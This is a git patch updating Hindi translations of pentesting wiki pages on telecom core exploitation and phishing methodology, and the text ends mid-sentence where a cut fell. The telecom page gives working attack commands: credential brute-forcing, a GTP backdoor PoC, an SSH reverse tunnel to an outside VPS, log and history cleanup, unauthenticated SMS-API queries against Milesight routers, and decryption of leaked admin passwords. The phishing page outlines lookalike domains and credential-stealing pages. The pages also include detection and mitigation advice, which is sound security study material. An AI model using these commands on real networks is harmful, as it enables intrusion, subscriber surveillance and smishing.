From d84f59379c8db0b56059e81afffdb638394641b1 Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 9 Oct 2025 00:52:00 +0000 Subject: [PATCH] Translated ['', 'src/generic-methodologies-and-resources/pentesting-netw --- .../telecom-network-exploitation.md | 238 ++++++++----- .../phishing-methodology/README.md | 319 ++++++++++-------- 2 files changed, 323 insertions(+), 234 deletions(-) diff --git a/src/generic-methodologies-and-resources/pentesting-network/telecom-network-exploitation.md b/src/generic-methodologies-and-resources/pentesting-network/telecom-network-exploitation.md index a3c9c79a7..c38b1479a 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/telecom-network-exploitation.md +++ b/src/generic-methodologies-and-resources/pentesting-network/telecom-network-exploitation.md @@ -3,25 +3,25 @@ {{#include ../../banners/hacktricks-training.md}} > [!NOTE] -> Mobile-core protocols (GPRS Tunnelling Protocol – GTP) अक्सर semi-trusted GRX/IPX roaming backbones से गुजरते हैं। क्योंकि ये plain UDP पर चलते हैं और लगभग कोई authentication नहीं होता, **telecom perimeter के भीतर किसी भी foothold से आम तौर पर core signalling planes तक सीधे पहुँच बन सकती है**। नीचे के नोट्स में wild में देखे गए SGSN/GGSN, PGW/SGW और अन्य EPC nodes के खिलाफ उपयोग किए गए offensive tricks संकलित किए गए हैं। +> मोबाइल-कोर प्रोटोकॉल्स (GPRS Tunnelling Protocol – GTP) अक्सर अर्ध-विश्वसनीय GRX/IPX roaming बैकबोन से गुजरते हैं। क्योंकि ये साधारण UDP पर चलते हैं और इनमें लगभग कोई authentication नहीं होता, **टेलीकॉम परिधि के भीतर कोई भी foothold आमतौर पर सीधे core signalling planes तक पहुँच सकता है**। निम्नलिखित नोट्स में वाइल्ड में देखे गए offensive tricks संकलित किए गए हैं जो SGSN/GGSN, PGW/SGW और अन्य EPC नोड्स के खिलाफ उपयोग हुए हैं। ## 1. Recon & Initial Access -### 1.1 Default OSS / NE Accounts -एक चौंकाने वाली बड़ी संख्या में vendor network elements हार्ड-कोडेड SSH/Telnet users के साथ शिप होती हैं, जैसे `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … एक dedicated wordlist brute-force सफलता को नाटकीय रूप से बढ़ा देता है: +### 1.1 डिफ़ॉल्ट OSS / NE खाते +काफी बड़े पैमाने पर vendor network elements हार्ड-कोडेड SSH/Telnet users के साथ आते हैं, जैसे `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … एक समर्पित wordlist brute-force सफलता को नाटकीय रूप से बढ़ाता है: ```bash hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt ``` -यदि डिवाइस केवल एक management VRF ही एक्सपोज़ करता है, तो पहले एक jump host के माध्यम से pivot करें (नीचे अनुभाग «SGSN Emu Tunnel» देखें)। +यदि डिवाइस केवल management VRF ही एक्सपोज़ करता है, तो पहले किसी jump host के माध्यम से pivot करें (नीचे देखें: «SGSN Emu Tunnel»). -### 1.2 GRX/IPX के अंदर होस्ट खोज -अधिकांश GRX ऑपरेटर अभी भी बैकबोन पर **ICMP echo** की अनुमति देते हैं। `masscan` को built-in `gtpv1` UDP probes के साथ मिलाकर तेजी से GTP-C listeners को मैप करें: +### 1.2 GRX/IPX के भीतर Host Discovery +अधिकांश GRX ऑपरेटर अभी भी बैकबोन के पार **ICMP echo** की अनुमति देते हैं। तेज़ी से GTP-C listeners को मैप करने के लिए `masscan` को built-in `gtpv1` UDP probes के साथ मिलाएँ: ```bash masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55 ``` -## 2. सब्सक्राइबर सूचीकरण – `cordscan` +## 2. सब्सक्राइबर्स की सूची बनाना – `cordscan` -निम्नलिखित Go टूल **GTP-C Create PDP Context Request** पैकेट बनाता है और प्रतिक्रियाओं को लॉग करता है। प्रत्येक उत्तर पूछे गए IMSI को सेवा देने वाला वर्तमान **SGSN / MME** प्रकट करता है, और कभी-कभी सब्सक्राइबर द्वारा दौरा किया गया PLMN भी। +निम्नलिखित Go टूल **GTP-C Create PDP Context Request** पैकेट बनाता है और प्रतिक्रियाओं को लॉग करता है। प्रत्येक उत्तर पूछे गए IMSI की सेवा कर रहे वर्तमान **SGSN / MME** का खुलासा करता है, और कभी-कभी सब्सक्राइबर द्वारा दौरा किया गया PLMN भी बताता है। ```bash # Build GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan @@ -30,21 +30,21 @@ GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan ./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap ``` मुख्य फ़्लैग: -- `--imsi` लक्षित सब्सक्राइबर IMSI +- `--imsi` लक्षित सब्सक्राइबर का IMSI - `--oper` होम / HNI (MCC+MNC) -- `-w` Write raw packets to pcap +- `-w` कच्चे पैकेट pcap में लिखें -बाइनरी के अंदर के महत्वपूर्ण constants को स्कैन विस्तारित करने के लिए patched किया जा सकता है: +बाइनरी के अंदर के महत्वपूर्ण constants को पैच करके स्कैन का दायरा बढ़ाया जा सकता है: ``` pingtimeout = 3 // seconds before giving up pco = 0x218080 common_tcp_ports = "22,23,80,443,8080" ``` -## 3. GTP पर कोड निष्पादन – `GTPDoor` +## 3. Code Execution over GTP – `GTPDoor` -`GTPDoor` एक छोटा ELF service है जो **UDP 2123 को bind करता है और हर incoming GTP-C packet को parse करता है**। जब payload किसी pre-shared tag से शुरू होता है, तो शेष हिस्सा decrypted (AES-128-CBC) किया जाता है और `/bin/sh -c` के माध्यम से execute किया जाता है। stdout/stderr को **Echo Response** messages के अंदर exfiltrate किया जाता है ताकि कोई outward session कभी create न हो। +`GTPDoor` एक छोटा ELF सेवा है जो **UDP 2123 पर bind करता है और हर आने वाले GTP-C packet को parse करता है**। जब payload किसी pre-shared tag से शुरू होता है, तो बाकी भाग को decrypt किया जाता है (AES-128-CBC) और `/bin/sh -c` के माध्यम से execute किया जाता है। stdout/stderr को **Echo Response** messages के अंदर exfiltrate किया जाता है ताकि कोई outward session कभी बनाया न जाए। -न्यूनतम PoC पैकेट (Python): +Minimal PoC packet (Python): ```python import gtpc, Crypto.Cipher.AES as AES key = b"SixteenByteKey!" @@ -52,38 +52,38 @@ cmd = b"id;uname -a" enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00")) print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc)) ``` -पता लगाना: -* कोई host जो SGSN IPs को **unbalanced Echo Requests** भेज रहा हो -* GTP version flag 1 पर सेट है जबकि message type = 1 (Echo) – spec से विचलन +डिटेक्शन: +* कोई भी host जो SGSN IPs को **unbalanced Echo Requests** भेज रहा हो +* GTP version flag 1 पर सेट जबकि message type = 1 (Echo) – spec से विचलन -## 4. कोर के माध्यम से Pivoting +## 4. Pivoting — Core के माध्यम से ### 4.1 `sgsnemu` + SOCKS5 -`OsmoGGSN` एक SGSN इम्यूलेटर के साथ आता है जो **establish a PDP context towards a real GGSN/PGW** करने में सक्षम है। एक बार नेगोशिएट हो जाने पर, Linux को एक नया `tun0` interface मिलता है जो roaming peer से पहुंच योग्य होता है। +`OsmoGGSN` एक SGSN emulator है जो **वास्तविक GGSN/PGW की ओर PDP context स्थापित करने में सक्षम** है। एक बार नेगोशिएट हो जाने पर, Linux को एक नया `tun0` इंटरफेस मिलता है जो roaming peer से पहुंच योग्य होता है। ```bash sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \ -APN internet -c 1 -d ip route add 172.16.0.0/12 dev tun0 microsocks -p 1080 & # internal SOCKS proxy ``` -सही firewall hair-pinning के साथ, यह tunnel signalling-only VLANs को बायपास करके आपको सीधे **data plane** में पहुंचा देता है। +With proper firewall hair-pinning, this tunnel bypasses signalling-only VLANs and lands you directly in the **data plane**. ### 4.2 SSH Reverse Tunnel over Port 53 -DNS लगभग हमेशा roaming infrastructures में open रहता है। एक internal SSH service को अपने VPS पर :53 पर सुनने के लिए Expose करें और बाद में घर से वापस कनेक्ट करें: +DNS आमतौर पर roaming infrastructures में लगभग हमेशा खुला रहता है। अपने VPS पर :53 पर सुनने वाला internal SSH service एक्सपोज़ करें और बाद में घर से वापस कनेक्ट करें: ```bash ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com ``` -Check that `GatewayPorts yes` is enabled on the VPS. +सुनिश्चित करें कि `GatewayPorts yes` VPS पर सक्षम है। -## 5. Covert Channels +## 5. गुप्त चैनल | चैनल | ट्रांसपोर्ट | डिकोडिंग | नोट्स | -|-------|------------|----------|-------| +|---------|-----------|----------|-------| | ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | pure passive listener, no outbound traffic | -| DNS – `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) encoded in A-record octets | `*.nodep` sub-domain के लिए देखता है | -| GTP – `GTPDoor` | UDP 2123 | AES-128-CBC blob in private IE | वैध GTP-C chatter के साथ मिल जाता है | +| DNS – `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) encoded in A-record octets | यह `*.nodep` सब-डोमेन की निगरानी करता है | +| GTP – `GTPDoor` | UDP 2123 | AES-128-CBC blob in private IE | वैध GTP-C ट्रैफ़िक के साथ घुल-मिल जाता है | -All implants implement watchdogs that **timestomp** their binaries and re-spawn if crashed. +सभी implants ऐसे watchdogs लागू करते हैं जो उनकी binaries को **timestomp** करते हैं और crash होने पर re-spawn होते हैं। ## 6. Defense Evasion Cheatsheet ```bash @@ -111,81 +111,81 @@ python3 PwnKit.py # Sudo Baron Samedit – CVE-2021-3156 python3 exploit_userspec.py ``` -साफ-सफाई सुझाव: +साफ-सफाई टिप: ```bash userdel firefart 2>/dev/null rm -f /tmp/sh ; history -c ``` ## 8. टूल बॉक्स -* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – कस्टम टूलिंग पिछली अनुभागों में वर्णित। -* `FScan` : इंट्रानेट TCP स्कैन (`fscan -p 22,80,443 10.0.0.0/24`) +* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – पहले के सेक्शन में वर्णित custom tooling. +* `FScan` : intranet TCP sweeps (`fscan -p 22,80,443 10.0.0.0/24`) * `Responder` : LLMNR/NBT-NS rogue WPAD -* `Microsocks` + `ProxyChains` : लाइटवेट SOCKS5 pivoting +* `Microsocks` + `ProxyChains` : lightweight SOCKS5 pivoting * `FRP` (≥0.37) : NAT traversal / asset bridging -## 9. 5G NAS रजिस्ट्रेशन अटैक: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay +## 9. 5G NAS Registration Attacks: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay -5G रजिस्ट्रेशन प्रक्रिया NAS (Non-Access Stratum) पर NGAP के ऊपर चलती है। जब तक NAS सुरक्षा Security Mode Command/Complete द्वारा सक्रिय नहीं होती, आरंभिक संदेश अप्रमाणित और एन्क्रिप्टेड नहीं होते। यह प्री‑सिक्योरिटी विंडो कई हमला मार्ग सक्षम करती है जब आप N2 ट्रैफिक को अवलोकन या छेड़छाड़ कर सकते हैं (उदा., कोर के अंदर on-path, rogue gNB, या टेस्टबेड पर)। +5G registration प्रक्रिया NAS (Non-Access Stratum) पर NGAP के ऊपर चलती है। जब तक NAS security Security Mode Command/Complete द्वारा सक्रिय नहीं होती, initial messages authenticated और encrypted नहीं होते। यह pre-security विंडो कई attack paths को सक्षम बनाती है जब आप N2 ट्रैफ़िक को observe या tamper कर सकते हैं (उदा., core के अंदर on-path, rogue gNB, या testbed)। -Registration flow (सरलीकृत): -- Registration Request: UE SUCI भेजता है (एन्क्रिप्टेड SUPI) और capabilities। -- Authentication: AMF/AUSF RAND/AUTN भेजते हैं; UE RES* लौटाता है। -- Security Mode Command/Complete: NAS इंटीग्रिटी और सिफरिंग पर समझौता किया जाता है और सक्रिय किया जाता है। +Registration flow (simplified): +- Registration Request: UE भेजता है SUCI (encrypted SUPI) और capabilities। +- Authentication: AMF/AUSF भेजते हैं RAND/AUTN; UE वापस भेजता/देती है RES*। +- Security Mode Command/Complete: NAS integrity और ciphering negotiate करके activate की जाती हैं। - PDU Session Establishment: IP/QoS सेटअप। Lab setup tips (non-RF): -- Core: Open5GS का डिफ़ॉल्ट deployment फ्लो दोहराने के लिए पर्याप्त है। -- UE: सिम्युलेटर या टेस्ट UE; Wireshark का उपयोग करके डीकोड करें। -- Active tooling: 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS on the fly without bringing up a full rogue gNB). -- Wireshark में उपयोगी डिस्प्ले फ़िल्टर: +- Core: Open5GS default deployment flows reproduce करने के लिए पर्याप्त है। +- UE: simulator या test UE; decode करने के लिए Wireshark का उपयोग करें। +- Active tooling: 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS on the fly without bringing up a full rogue gNB)। +- Useful display filters in Wireshark: - ngap.procedure_code == 15 (InitialUEMessage) - nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request) ### 9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI -अपेक्षित: UE/USIM को SUCI (होम‑नेटवर्क सार्वजनिक कुंजी से एन्क्रिप्टेड SUPI) प्रसारित करना चाहिए। Registration Request में plaintext SUPI/IMSI मिलने का मतलब गोपनीयता दोष है जो लगातार सब्सक्राइबर ट्रैकिंग को सक्षम करता है। +Expected: UE/USIM को SUCI ही भेजना चाहिए (SUPI जो home-network public key से encrypted हो)। Registration Request में कोई plaintext SUPI/IMSI मिलना एक privacy defect का संकेत है जो persistent subscriber tracking को सक्षम करता है। -परीक्षण कैसे करें: -- InitialUEMessage में पहला NAS संदेश कैप्चर करें और Mobile Identity IE की जाँच करें। -- Wireshark त्वरित जाँच: -- इसे SUCI के रूप में डिकोड होना चाहिए, IMSI के रूप में नहीं। -- फ़िल्टर उदाहरण: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` मौजूद होना चाहिए; अनुपस्थिति और `imsi` की उपस्थिति लीक को संकेत करती है। +How to test: +- InitialUEMessage में पहला NAS message capture करें और Mobile Identity IE का निरीक्षण करें। +- Wireshark quick checks: +- इसे SUCI के रूप में decode होना चाहिए, न कि IMSI के रूप में। +- Filter examples: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` होना चाहिए; इसका अभाव और साथ में `imsi` की उपस्थिति रिसाव को सूचित करती है। -क्या एकत्र करें: -- यदि एक्सपोज़ हैं तो MCC/MNC/MSIN; प्रति-UE लॉग करें और समय/स्थान के साथ ट्रैक करें। +What to collect: +- अगर एक्सपोज़ हो तो MCC/MNC/MSIN; प्रति-UE लॉग करें और समय/लोकेशन्स के across ट्रैक करें। -निवारण: -- केवल SUCI-सपोर्टेड UEs/USIMs लागू करें; initial NAS में किसी भी IMSI/SUPI पर अलर्ट करें। +Mitigation: +- SUCI-only UEs/USIMs लागू करें; initial NAS में किसी भी IMSI/SUPI पर alert सेट करें। ### 9.2 Capability bidding-down to null algorithms (EEA0/EIA0) -पृष्ठभूमि: -- UE Registration Request के UE Security Capability IE में समर्थित EEA (एन्क्रिप्शन) और EIA (इंटीग्रिटी) विज्ञापन करता है। -- सामान्य मैपिंग्स: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 null algorithms हैं। +Background: +- UE, Registration Request के UE Security Capability IE में supported EEA (encryption) और EIA (integrity) advertise करता/करती है। +- सामान्य mapping: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 null algorithms हैं। -समस्या: -- क्योंकि Registration Request इंटीग्रिटी‑प्रोटेक्टेड नहीं होता, एक on-path attacker capability bits क्लियर करके बाद में Security Mode Command के दौरान EEA0/EIA0 के चयन को जबरन कर सकता है। कुछ stacks गलत तरीके से आपातकालीन सेवाओं के बाहर null algorithms की अनुमति देते हैं। +Issue: +- चूँकि Registration Request integrity protected नहीं है, एक on-path attacker capability bits को clear कर सकता है ताकि बाद में Security Mode Command के दौरान EEA0/EIA0 चुने जाएँ। कुछ stacks emergency services के बाहर null algorithms की अनुमति गलत तरीके से देते हैं। -आक्रामक कदम: -- InitialUEMessage को इंटरसेप्ट करें और NAS UE Security Capability को केवल EEA0/EIA0 विज्ञापन करने के लिए संशोधित करें। -- Sni5Gect के साथ, NAS संदेश को हुक करें और अग्रेषित करने से पहले capability bits को patch करें। -- देखें कि क्या AMF null ciphers/ integrity स्वीकार करता है और EEA0/EIA0 के साथ Security Mode पूरा होता है। +Offensive steps: +- InitialUEMessage intercept करें और NAS UE Security Capability को modify करके केवल EEA0/EIA0 advertise कराएँ। +- Sni5Gect के साथ NAS message hook करें और capability bits को patch करके आगे भेजें। +- देखें कि क्या AMF null ciphers/integrity स्वीकार करता है और EEA0/EIA0 के साथ Security Mode पूरा करता है। -सत्यापन/दृश्यता: -- Wireshark में, Security Mode Command/Complete के बाद चयनित algorithms की पुष्टि करें। -- उदाहरण passive sniffer आउटपुट: +Verification/visibility: +- Wireshark में, Security Mode Command/Complete के बाद selected algorithms की पुष्टि करें। +- Example passive sniffer output: ``` Encyrption in use [EEA0] Integrity in use [EIA0, EIA1, EIA2] SUPI (MCC+MNC+MSIN) 9997000000001 ``` -रोकथाम (अनिवार्य): -- AMF/policy को EEA0/EIA0 अस्वीकार करने के लिए कॉन्फ़िगर करें, केवल उन मामलों में जहाँ कड़ाई से अनिवार्य हो (उदा., आपातकालीन कॉल)। -- न्यूनतम के रूप में EEA2/EIA2 लागू करने को प्राथमिकता दें; किसी भी NAS सुरक्षा संदर्भ पर जो null algorithms पर negotiation करता है, उसके लिए लॉग और अलार्म सेट करें। +निवारण (अनिवार्य): +- AMF/policy को ऐसा कॉन्फ़िगर करें कि EEA0/EIA0 को अस्वीकार करे, सिवाय उन मामलों के जहाँ सख्ती से लागू किया गया हो (उदा., emergency calls). +- कम से कम EEA2/EIA2 को लागू करना प्राथमिकता दें; किसी भी NAS security context पर जो null algorithms का negotiation करता है उसके लिए log और alarm करें। -### 9.3 प्रारंभिक Registration Request का Replay (pre-security NAS) -क्योंकि प्रारंभिक NAS में अखंडता और नवीनता की कमी होती है, कैप्चर किया गया InitialUEMessage+Registration Request AMF को replay किया जा सकता है। +### 9.3 initial Registration Request का Replay (pre-security NAS) +क्योंकि प्रारंभिक NAS में integrity और freshness की कमी होती है, कैप्चर किया गया InitialUEMessage+Registration Request AMF पर replay किया जा सकता है। -PoC rule for 5GReplay to forward matching replays: +PoC rule for 5GReplay मिलते-जुलते replays को forward करने के लिए: ```xml ``` What to observe: -- क्या AMF replay स्वीकार करता है और Authentication की प्रक्रिया की ओर बढ़ता है; freshness/context सत्यापन का अभाव जोखिम दर्शाता है। +- क्या देखें: क्या AMF replay स्वीकार करता है और Authentication की ओर बढ़ता है; ताज़गी/संदर्भ सत्यापन की कमी खुलासा दर्शाती है। Mitigations: -- AMF पर replay protection/context binding लागू करें; प्रति-GNB/UE दर-सीमा लागू करें और सहसंबंध स्थापित करें। +- AMF पर replay protection/context binding लागू करें; प्रति-GNB/UE rate-limit और correlate करें। -### 9.4 टूलिंग संकेत (पुनरुत्पाद्य) -- Open5GS: core का अनुकरण करने के लिए एक AMF/SMF/UPF चलाएं; N2 (NGAP) और NAS का निरीक्षण करें। -- Wireshark: NGAP/NAS के decodes सत्यापित करें; Registration अलग करने के लिए ऊपर दिए गए filters लागू करें। -- 5GReplay: एक registration capture करें, फिर नियम के अनुसार विशिष्ट NGAP + NAS संदेश replay करें। -- Sni5Gect: NAS control-plane को live sniff/modify/inject करके null algorithms को मजबूर करें या authentication sequences में गड़बड़ी करें। +### 9.4 उपकरण संकेत (दोहराने योग्य) +- Open5GS: AMF/SMF/UPF स्टार्ट करें ताकि core का अनुकरण हो; N2 (NGAP) और NAS का निरीक्षण करें। +- Wireshark: NGAP/NAS के डिकोड्स सत्यापित करें; Registration को अलग करने के लिए ऊपर दिए गए filters लागू करें। +- 5GReplay: एक Registration capture करें, फिर rule के अनुसार विशिष्ट NGAP + NAS messages replay करें। +- Sni5Gect: NAS control-plane को लाइव sniff/modify/inject करके null algorithms को मजबूर करें या authentication sequences को बाधित करें। -### 9.5 रक्षा चेकलिस्ट -- Registration Request में plaintext SUPI/IMSI के लिए लगातार निरीक्षण करें; दोषपूर्ण devices/USIMs को ब्लॉक करें। -- EEA0/EIA0 को संकुचित रूप से परिभाषित आपातकालीन प्रक्रियाओं को छोड़कर अस्वीकार करें; कम से कम EEA2/EIA2 की मांग करें। -- rogue या गलत कॉन्फ़िगर की गई infrastructure का पता लगाएं: unauthorized gNB/AMF, अप्रत्याशित N2 peers। -- उन NAS security modes पर अलर्ट करें जो null algorithms या InitialUEMessage के बार-बार replay का परिणाम देते हैं। +### 9.5 रक्षात्मक चेकलिस्ट +- निरंतर Registration Request में plaintext SUPI/IMSI की जाँच करें; उल्लंघन करने वाले उपकरण/USIMs को ब्लॉक करें। +- EEA0/EIA0 को अस्वीकार करें सिवाय संकुचित रूप से परिभाषित आपातकालीन प्रक्रियाओं के; कम से कम EEA2/EIA2 की आवश्यकता रखें। +- अवैध या गलत कॉन्फ़िगर इन्फ्रास्ट्रक्चर का पता लगाएँ: unauthorized gNB/AMF, unexpected N2 peers। +- उन NAS security modes पर अलर्ट करें जो null algorithms का परिणाम बनते हैं या InitialUEMessage के बार-बार replay होते हैं। --- -## पहचान के विचार -1. **SGSN/GGSN के अलावा कोई भी डिवाइस जो Create PDP Context Requests स्थापित कर रहा हो**। -2. **Non-standard ports (53, 80, 443) receiving SSH handshakes** आंतरिक IPs से। -3. **Frequent Echo Requests without corresponding Echo Responses** – GTPDoor beacons का संकेत दे सकते हैं। -4. **बड़े, non-zero identifier/sequence फ़ील्ड्स के साथ उच्च दर का ICMP echo-reply ट्रैफ़िक**। -5. 5G: **InitialUEMessage जो NAS Registration Requests लेकर समान endpoints से दोहराए जा रहे हों** (replay signal)। -6. 5G: **NAS Security Mode negotiating EEA0/EIA0** आपातकालीन संदर्भों के बाहर। + +## 10. इंडस्ट्रियल सेलुलर राउटर्स – बिना प्रमाणीकरण वाले SMS API का दुरुपयोग (Milesight UR5X/UR32/UR35/UR41) और Credential Recovery (CVE-2023-43261) + +इंडस्ट्रियल सेलुलर राउटर्स के खुले वेब APIs का दुरुपयोग बड़े पैमाने पर stealthy, carrier-origin smishing को सक्षम बनाता है। Milesight UR-series राउटर्स `/cgi` पर एक JSON-RPC–style endpoint एक्सपोज़ करते हैं। गलत कॉन्फ़िगरेशन होने पर, API को बिना प्रमाणीकरण के query किया जा सकता है ताकि SMS inbox/outbox की सूची ली जा सके और कुछ डिप्लॉयमेंट्स में SMS भेजा भी जा सके। + +Typical unauthenticated requests (same structure for inbox/outbox): +```http +POST /cgi HTTP/1.1 +Host: +Content-Type: application/json + +{ "base": "query_outbox", "function": "query_outbox", "values": [ {"page":1,"per_page":50} ] } +``` + +```json +{ "base": "query_inbox", "function": "query_inbox", "values": [ {"page":1,"per_page":50} ] } +``` +Responses में `timestamp`, `content`, `phone_number` (E.164), और `status` (`success` या `failed`) जैसे फ़ील्ड शामिल होते हैं। एक ही नंबर पर बार-बार `failed` भेजना अक्सर हमलावरों के “capability checks” होते हैं ताकि यह सत्यापित किया जा सके कि router/SIM blasting से पहले संदेश डिलीवर कर सकती है। + +SMS metadata exfiltrate करने के लिए curl का उदाहरण: +```bash +curl -sk -X POST http:///cgi \ +-H 'Content-Type: application/json' \ +-d '{"base":"query_outbox","function":"query_outbox","values":[{"page":1,"per_page":100}]}' +``` +auth artifacts पर नोट्स: +- कुछ ट्रैफ़िक में auth cookie शामिल हो सकता है, लेकिन जब management interface Internet-facing होता है तो बड़ी संख्या में एक्सपोज़्ड डिवाइस बिना किसी authentication के `query_inbox`/`query_outbox` का जवाब देती हैं। +- ऐसी environments जिनमें auth आवश्यक है, previously-leaked credentials (नीचे देखें) पुनः पहुँच बहाल कर देते हैं। + +Credential recovery path – CVE-2023-43261: +- Affected families: UR5X, UR32L, UR32, UR35, UR41 (pre v35.3.0.7). +- समस्या: web-served logs (जैसे `httpd.log`) `/lang/log/` के अंतर्गत बिना authentication के पहुँच योग्य हैं और इनमें admin login events होते हैं जिनमें password को client-side JavaScript में मौजूद hardcoded AES key/IV का उपयोग करके encrypted किया गया होता है। +- Practical access and decrypt: +```bash +curl -sk http:///lang/log/httpd.log | sed -n '1,200p' +# Look for entries like: {"username":"admin","password":""} +``` +न्यूनतम Python कोड leaked passwords को decrypt करने के लिए (AES-128-CBC, hardcoded key/IV): +```python +import base64 +from Crypto.Cipher import AES +from Crypto.Util.Padding import unpad +KEY=b'1111111111111111'; IV=b'2222222222222222' +enc_b64='...' # value from httpd.log +print(unpad(AES.new(KEY, AES.MODE_CBC, IV).decrypt(base64.b64decode(enc_b64)), AES.block_size).decode()) +``` +Hunting and detection ideas (नेटवर्क): +- Alert on unauthenticated `POST /cgi` whose JSON body contains `base`/`function` set to `query_inbox` or `query_outbox`. +- Track repeated `POST /cgi` bursts followed by `status":"failed"` entries across many unique numbers from the same source IP (capability testing). +- Internet-exposed Milesight routers का इन्वेंटरी बनाएं; management को VPN तक सीमित करें; आवश्यकता न होने पर SMS फीचर्स disable करें; ≥ v35.3.0.7 पर upgrade करें; credentials घुमाएं और unknown sends के लिए SMS logs की समीक्षा करें। + +Shodan/OSINT pivots (वास्तविक दुनिया में देखे गए उदाहरण): +- `http.html:"rt_title"` matches Milesight router panels. +- Google dorking for exposed logs: `"/lang/log/system" ext:log`. + +Operational impact: राउटर्स में वैध carrier SIMs का उपयोग phishing के लिए SMS की बहुत उच्च deliverability/credibility देता है, जबकि inbox/outbox exposure leaks sensitive metadata at scale। + +--- + +## Detection Ideas +1. **SGSN/GGSN के अलावा कोई भी डिवाइस Create PDP Context Requests स्थापित कर रहा हो**। +2. **गैर-मानक पोर्ट्स (53, 80, 443) पर आंतरिक IPs से SSH handshakes प्राप्त होना**। +3. **अनुरूप Echo Responses के बिना बार-बार Echo Requests** – यह GTPDoor beacons का संकेत हो सकता है। +4. **बड़े, non-zero identifier/sequence fields वाले ICMP echo-reply ट्रैफ़िक की उच्च दर**। +5. 5G: **InitialUEMessage जो identical endpoints से बार-बार NAS Registration Requests ले जा रहा हो** (replay signal)। +6. 5G: **आपातकालीन संदर्भों के बाहर NAS Security Mode का EEA0/EIA0 पर negotiate करना**। ## References @@ -243,5 +302,8 @@ Mitigations: - [Demystifying 5G Security: Understanding the Registration Protocol](https://bishopfox.com/blog/demystifying-5g-security-understanding-the-registration-protocol) - 3GPP TS 24.501 – Non-Access-Stratum (NAS) protocol for 5GS - 3GPP TS 33.501 – Security architecture and procedures for 5G System +- [Silent Smishing: The Hidden Abuse of Cellular Router APIs (Sekoia.io)](https://blog.sekoia.io/silent-smishing-the-hidden-abuse-of-cellular-router-apis/) +- [CVE-2023-43261 – NVD](https://nvd.nist.gov/vuln/detail/CVE-2023-43261) +- [CVE-2023-43261 PoC (win3zz)](https://github.com/win3zz/CVE-2023-43261) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/phishing-methodology/README.md b/src/generic-methodologies-and-resources/phishing-methodology/README.md index cef7beff2..89f3c98a1 100644 --- a/src/generic-methodologies-and-resources/phishing-methodology/README.md +++ b/src/generic-methodologies-and-resources/phishing-methodology/README.md @@ -6,38 +6,38 @@ 1. Recon the victim 1. चुनें **victim domain**. -2. कुछ बुनियादी web enumeration करें **searching for login portals** जो victim उपयोग करता है और **decide** करें कि आप किसे **impersonate** करेंगे। -3. कुछ **OSINT** का उपयोग करके **find emails**. +2. कुछ basic web enumeration करें **searching for login portals** जो victim इस्तेमाल करता है और **decide** करें कि आप किसे **impersonate** करेंगे। +3. कुछ **OSINT** का उपयोग करके **find emails**। 2. पर्यावरण तैयार करें 1. **Buy the domain** जिसे आप phishing assessment के लिए उपयोग करने वाले हैं -2. संबंधित email service रिकॉर्ड्स कॉन्फ़िगर करें (SPF, DMARC, DKIM, rDNS) -3. VPS को **gophish** के साथ कॉन्फ़िगर करें -3. अभियान तैयार करें +2. ईमेल सर्विस से संबंधित रिकॉर्ड **Configure the email service** (SPF, DMARC, DKIM, rDNS) +3. VPS को **gophish** के साथ configure करें +3. campaign तैयार करें 1. **email template** तैयार करें -2. क्रेडेंशियल चुराने के लिए **web page** तैयार करें +2. credentials चुराने के लिए **web page** तैयार करें 4. अभियान लॉन्च करें! ## Generate similar domain names or buy a trusted domain ### Domain Name Variation Techniques -- **Keyword**: डोमेन नाम मूल डोमेन का एक महत्वपूर्ण **keyword** शामिल करता है (उदा., zelster.com-management.com). -- **hypened subdomain**: उपडोमेन के लिए dot को hyphen से बदलें (उदा., www-zelster.com). -- **New TLD**: वही domain नया **TLD** के साथ (उदा., zelster.org) -- **Homoglyph**: यह डोमेन नाम में एक अक्षर को उन अक्षरों से **replaces** करता है जो दिखने में समान हैं (उदा., zelfser.com). +- **Keyword**: Domain name में original domain का एक महत्वपूर्ण **keyword** होता है (e.g., zelster.com-management.com). +- **hypened subdomain**: किसी subdomain के dot को hyphen से बदल दें (e.g., www-zelster.com). +- **New TLD**: वही domain नया **TLD** का उपयोग करता है (e.g., zelster.org) +- **Homoglyph**: domain नाम में किसी अक्षर को ऐसे अक्षरों से बदलना जो दिखने में समान हों (e.g., zelfser.com). {{#ref}} homograph-attacks.md {{#endref}} -- **Transposition:** यह डोमेन नाम के भीतर दो अक्षरों को **swaps** करता है (उदा., zelsetr.com). -- **Singularization/Pluralization**: डोमेन नाम के अंत में “s” जोड़ता या हटाता है (उदा., zeltsers.com). -- **Omission**: यह 